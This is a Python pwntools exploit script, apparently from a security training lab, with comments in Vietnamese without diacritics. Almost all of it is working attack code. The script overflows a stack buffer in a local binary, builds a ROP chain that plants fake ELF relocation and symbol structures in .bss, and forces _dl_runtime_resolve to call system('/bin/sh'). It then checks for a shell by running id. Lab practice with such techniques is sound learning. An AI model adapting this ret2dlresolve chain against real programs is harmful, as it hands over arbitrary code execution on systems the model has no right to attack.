#!/usr/bin/env python3
# Lab 8.2 phan B: ret2dlresolve.
# Binary khong co system, khong co /bin/sh, khong leak duoc. La Partial RELRO
# (lazy binding) nen _dl_runtime_resolve van hoat dong luc chay. Ta:
#   1. Gia Elf64_Rela + Elf64_Sym + chuoi "system" + chuoi "/bin/sh" (pwntools
#      Ret2dlresolvePayload lo het), doc chung vao data_addr (.bss) bang read.
#   2. Nhay vao PLT0 voi reloc index tro toi Rela gia -> _dl_runtime_resolve
#      phan giai "system" va goi system("/bin/sh").
import time
from pwn import *

context.binary = elf = ELF('./dlresolve')
context.log_level = 'info'

OFFSET = 72                      # buf[64] + saved rbp(8) -> saved RIP

io = process('./dlresolve')
io.recvuntil(b'ret2dlresolve demo ==\n')

dl = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
log.info('data_addr      = %#x', dl.data_addr)
log.info('dl payload len = %d', len(dl.payload))

rop = ROP(elf)
rop.raw(rop.find_gadget(['ret'])[0])          # can alignment 16 byte (movaps trong system)
rop.read(0, dl.data_addr, len(dl.payload))    # giai doan 1: nap cau truc gia
rop.ret2dlresolve(dl)                         # giai doan 2: ep resolve system
log.info('ROP chain:\n%s', rop.dump())

payload = fit({OFFSET: rop.chain()})
io.send(payload)
time.sleep(0.3)                  # cho read dau tien (overflow) tra ve, tranh nuot lan 2
io.send(dl.payload)              # du lieu doc vao data_addr

time.sleep(0.3)                  # cho shell /bin/sh san sang truoc khi go lenh
io.sendline(b'echo ===PWNED_8_2_DL===; id; echo ===END===')
io.sendline(b'exit')
out = io.recvall(timeout=5).decode(errors='replace')
print(out)

assert 'uid=' in out and '===PWNED_8_2_DL===' in out, 'FAIL: ret2dlresolve khong lay duoc shell'
log.success('ret2dlresolve OK: ep _dl_runtime_resolve goi system("/bin/sh")')
